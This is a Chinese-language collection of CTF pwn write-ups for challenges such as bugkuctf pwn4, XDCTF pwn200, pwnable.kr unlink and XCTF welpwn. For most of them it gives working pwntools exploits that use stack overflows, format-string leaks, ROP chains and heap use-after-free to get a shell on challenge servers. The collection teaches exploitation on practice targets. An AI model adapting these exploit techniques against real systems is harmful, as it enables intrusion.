pwn write_up 合集

一、bugkuctf pwn4(栈,ROP,system($0))

图1很容易看出来read函数栈溢出

pwn write_up 合集_第1张图片
图1

紧接着就是题目给的调用system函数(图2)


pwn write_up 合集_第2张图片
图2

但是找到不/bin/sh字样,怎么办?程序是任何保护都没开的,打算找个jmp指令去执行


pwn write_up 合集_第3张图片
图3

但突然发现程序提供了$0字符串,那么system($0)等效于system("sh"),构造栈吧


pwn write_up 合集_第4张图片
图4

程序是64位的,参数不全是在栈中,依次为rdi,rsi,rdx,rcx,r8,r9,用ROPgadget找一个pop rdi,ret的地址,如图5


pwn write_up 合集_第5张图片
图5

最后的EXP:

from pwn import *

import sys

if sys.argv[1] == '1':

    p = remote("114.116.54.89",  10004)

else:

    p = process("./pwn4")

#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

context.log_level = "debug"

#gdb.attach(proc.pidof(p)[0])

elf = ELF("./pwn4")

system_addr = elf.symbols["system"]

print(hex(system_addr))

#pause()

payload = "a" * 16 + p64(0xdeadbeef) + p64(0x4007D3) + p64(0x60111f) + p64(elf.plt["system"])

p.sendline(payload)

p.interactive()


二、bugkuctf human(printf泄露,libc-database,ROP)

漏洞很好看出来printf用来泄露地址,read用来溢出

pwn write_up 合集_第6张图片
图1


pwn write_up 合集_第7张图片
图2

先计算printf用的偏移,当前栈空间如下图,64位加上6个寄存器,再从rsp到要泄露的地址为5个%p, 又因为从下标0开始 ,所以6+5=11,11正好指向0x7FFF.....E4B8。

这是更正下,不是从下标为0开始。而是因为rdi不在6个寄存器的计算范围内。即从rsi为1开始。可以尝试输出“%x,%x”。会发现是从rsi开始输出的,而rdi不会显示。当然,认为rdi的序号为0,rsi的序号为1也可以得出正确结果。对了rdi指向格式化字符串。

pwn write_up 合集_第8张图片
图3

找到地址,用libc-database找到libc,再用one_gadget找出ROP

pwn write_up 合集_第9张图片
图4

最后满足下程序的恶趣味,不能让程序执行到exit(),要走retn流程

pwn write_up 合集_第10张图片
图5

最终EXP:

from pwn import *

import sys

if sys.argv[1] == "1":

    p = remote("114.116.54.89", 10005)

else:

    p = process("human")

    context.log_level = "debug"

    context.terminal = ["gnome-terminal", "-x", "sh", "-c"]

    gdb.attach(proc.pidof(p)[0], '''

        b *0x400810

        b *0x400879

        ''')

p.readline()

p.readline()

p.sendline("%11$p")

libc_main_ret_addr = p.recvline()

print libc_main_ret_addr

libc_main_ret_addr = int(libc_main_ret_addr, 16)

libc_base_addr = libc_main_ret_addr - 0x20830

print libc_base_addr

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

p.readline()

libc_gadget_shell_addr = libc_base_addr + 0x45216

payload =  "\xe7\x9c\x9f\xe9\xa6\x99\xe9\xb8\xbd\xe5\xad\x90" + "a" * 20 + p64(0xdeadbeaf) + p64(libc_gadget_shell_addr)

p.sendline(payload)

p.readline()

p.interactive()



三、pwn200(栈溢出泄露地址,ROP,平衡栈(让下条ret指令顺利执行))

栈溢出很容易找,但是这题没有给libc,也没有给system("sh")。安全措施及代码如图:

pwn write_up 合集_第11张图片
图1

栈溢出返回到start函数,用DynELF去泄露libc地址,查到libc库吧

payload = 'a'*112{填充}+p32(write_plt){这里ret}+p32(main_addr){这里相当于上一级的call,调用完write后会在这个地址ret}+p32(1){第一个参数,最后push,所以在栈最上面}+p32(addr)+p32(4)


pwn write_up 合集_第12张图片
图2

找到libc库后,找到system的地址,先调用read把bin/sh读到内存中去,构造ROP链路,去执行。因为read(arg1,arg2,arg3)有三个参数,所以需要pop,pop,pop,ret去把这三个参数占用的栈空间平衡掉,才能正常ret。用ROPgadget找出这个p,p,p,r

pwn write_up 合集_第13张图片
图3

payload = 'a'*112+p32(read_plt)+p32(0x804856c){read执行后返回的地址}+p32(0){从这里开始,为read的参数}+p32(bss_addr)+p32(8)+p32(sys_addr){0x804856c的ret执行到这里}+p32(main_addr)+p32(bss_addr){system的参数}

最终EXP:

from pwn import *

elf = ELF('./pwn200')

io = remote('111.198.29.45', 33201)

write_plt = elf.plt['write']

read_plt = elf.plt['read']

main_addr = 0x80483D0

bss_addr = elf.bss()

pppr = 0x0804856C

def leak(addr):

    io.recvuntil('Welcome to XDCTF2015~!\n')

    payload = 'a'*112+p32(write_plt)+p32(main_addr)+p32(1)+p32(addr)+p32(4)

    io.sendline(payload)

    msg = io.recv(4)

    return msg

dyn = DynELF(leak,elf=elf)

sys_addr = dyn.lookup('system','libc')

payload = 'a'*112+p32(read_plt)+p32(pppr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(main_addr)+p32(bss_addr)

#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#gdb.attach(proc.pidof(io)[0],'''

#    b *0x80484BC

#    ''')

pause()

io.sendline(payload)

pause()

io.sendline('/bin/sh\0')

io.interactive()



pwnable.kr UAF(fastbin重复申请特性,C++虚表)


pwn write_up 合集_第14张图片
图1

先new一个堆,再将这个堆通过mov rdi,rbx,传给woman的构造函数,看看这个堆里有什么。

pwn write_up 合集_第15张图片
图2

new(0x18)的这个堆保存着woman类的虚函数表,第一个就是human::give_shell。再看看堆的情况。

pwn write_up 合集_第16张图片
图3

可以看出因为new的大小为0x18,所以man和woman的堆在Free时,会满足16。Fastbin是个FIFO链表,所以,再一次申请同样大小的堆时,就能申请到woman和man释放的堆,进而通过UAF控制虚函数表。

最后在1.use时,执行如下代码:


pwn write_up 合集_第17张图片
图4

通过分析得知,[rbp+var_38]=new返回的堆地址,[rax]=虚表地址(即前面的0x401550),所以call是执行 call [0x401550+8]命令,最简单的办法是申请一个堆,再传入0x401550-0x8这个值。在执行call [(0x401550-8) +8]时,就执行了give_shell。最终exp如下:

from pwn import *

from sys import *

vtable_addr = 0x401548

f = open("./1.bin", "wb")

f.write(p64(vtable_addr))

f.close()



pwnable.kr unlink(堆溢出,指针的指针,指向fd->bk的指针,EXP的构造(内存空间排布))

画图能力有限,这个现在也还在绕着。一不小心就指错了,一不小心内存就给破坏了。

讲真,不是那些注释一步步写下来,估计这辈子都写不正确。反正,现在unlink也被修复,开心最重要了。

先放EXP:

from pwn import *

from sys import argv

#printf("here is stack address leak: %p\n", &A);

#printf("here is heap address leak: %p\n", A);

#printf("now that you have leaks, get shell!\n");

context.log_level = "debug"

if argv[1] == "1":

    p = process("./unlink")

else:

    s =  ssh(host='pwnable.kr',

        port=2222,

        user='unlink',

        password='guest'

        )

    p = s.process("./unlink")

stack_addr_A = p.recvuntil("here is stack address leak: ")

stack_addr_A = p.recv(10)

stack_addr_A = int(stack_addr_A, 16)

print stack_addr_A

heap_addr_A = p.recvuntil("here is heap address leak: ")

heap_addr_A = p.recv(9)

heap_addr_A = int(heap_addr_A, 16)

print heap_addr_A

p.recvuntil("now that you have leaks, get shell!")

shell_addr = 0x080484EB

#payload offset heap+8

payload = p32(shell_addr)

payload += "a" * 12

#FD->bk = BK

#mov [eax+4], heap_addr_A + 12

#payload offset FD

payload += p32(stack_addr_A + 12)

#mov esp, [ecx-4]

#mov esp,[heap_addr_A + 12 - 4]

#payload offset BK

payload += p32(heap_addr_A + 12)

p.send(payload)

p.interactive()


pwnable.tw hack_note(UAF,FASTBIN申请特性)

fastbin有以下特点:

1、为LIFO单向链表;2、有多个链,每个链中chunk大小一致,相邻链表以8byte递增;3、32位下16~64byte大小的堆都被放在fastbin中

hack_note提供add、del、print三个操作。ADD:以一个数组保存add_note后申请的地址。DEL:但是在del里,没有对这个数组中的值置空,造成UAF。PRINT:程序中数组指向的是一个数据结构:

struct{ func* p; char[] ch},其中p指向一个调用puts函数的函数。

结构如下:


pwn write_up 合集_第18张图片
图1

先看开启了哪些防护:


pwn write_up 合集_第19张图片
图2

没有PIE,但是开了Canary。就很明显是上面发现的堆漏洞去利用。

利用思路就是fastbin的分配特性。因为程序自动申请的结构struct{ func* p; char[] ch},大小为chunk_header(4*2) + 4*2 = 16,那用户内容申请到32位,并且申请两次,再做两次del后,就能让fastbin有两条链表,一条是16大小的有两个堆,一条是32大小的有两个堆。这时,再次做add操作,并设置用户内容申请大小为16byte(这里要注意,为了申请16byte的堆,用户内容长度应为8byte),那就能利用第一次free后的16大小那个堆,进而可以控制pfunc*这个指针。再结合UAF调用print时,将调用被修改后的指针。

具体是先用puts泄露出puts.got的地址,得到libc的基址,再用one_gadget得到libc中的偏移,最后print一下,得到shell。


adworld.xctf welpwn(栈溢出,地址泄露,ehco函数截断输入的rop处理,LibcSearcher)

1.先看开启的防护

pwn write_up 合集_第20张图片
welpwn

没有重定向,没有栈溢出保护,GOT可写。

2.看代码(坑一:echo的截断)

echo:

pwn write_up 合集_第21张图片

明显的栈溢出,但是会被字符串中的\x00截断,又因为64位的返回地址,前端一定为\x00。所以这里不能做为存放ROP链的地方。只有返回到main中的read函数中,没有这被截断的输入。

pwn write_up 合集_第22张图片

红框为echo的输入,蓝框为main的输入,黄框是echo的返回地址,这里会因为地址有\x00而截断,所以echo只能在这里放上一个pop|pop|pop|pop|ret的ROP,在0x7ffffffe0d0这里放上ret的地址,继续下一个rop。

3.exp代码(坑二:无法利用dynelf自动获取,最终转为LibcSearcher)

#coding = utf-8

from pwnimport *

import LibcSearcher

context.log_level ='debug'

p = remote('111.198.29.45' ,46133)

rop_chain =0x4008A3

welpwn_elf = ELF('./welpwn')

puts_plt = welpwn_elf.plt['puts']

puts_got = welpwn_elf.got['puts']

main_addr = welpwn_elf.symbols['main']

log.info("puts_got = " +hex(puts_got))

#return to the stack of main:read

#because echo read untill \x00

#so read until \x9c\x08\x40\x00\x00\x00....

padding ='A' *24 + p64(0x40089c)

bss_addr =0x601070

p.recvuntil("RCTF\n")

# def leak(addr):

#    payload = padding + p64(rop_chain) + p64(addr) + p64(puts_plt) + p64(main_addr)

#    p.sendline(payload)

#    #recv 27 to get printf out data. After 27 is \x00

#    p.recv(27)

#    #recv all because unsure recv how much bytes

#    tmp = p.recv()

#    date = tmp.split("\nWelcome")[0]

#    if len(date):

#        return date

#    else:

#        return '\x00'

#

# d = DynELF(leak, elf=ELF('./welpwn'))

#puts address leak

payload = padding + p64(rop_chain) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendline(payload)

p.recvuntil("RCTF\n")

p.recv(27)

put_addr_libc = u64(p.recv().split("\n")[0].ljust(8,'\x00'))

log.info("put_addr_libc = " +hex(put_addr_libc))

#find Libc , system  , bin/sh address with LibcSearcher or libc_database

libc_obj = LibcSearcher.LibcSearcher('puts', put_addr_libc)

libc_base_addr = put_addr_libc - libc_obj.dump('puts')

system_addr = libc_base_addr + libc_obj.dump("system")

str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')

log.info("system_addr = " +hex(system_addr))

log.info("str_bin_sh = " +hex(str_bin_sh))

#pwn now

payload = padding + p64(rop_chain) + p64(str_bin_sh) + p64(system_addr)

# don't recv .can't recv any thing

# p.recvuntil("RCTF\n")

p.sendline(payload)

#sleep(1)

#p.sendline('/bin/sh\x00')

p.interactive()

你可能感兴趣的:(pwn write_up 合集)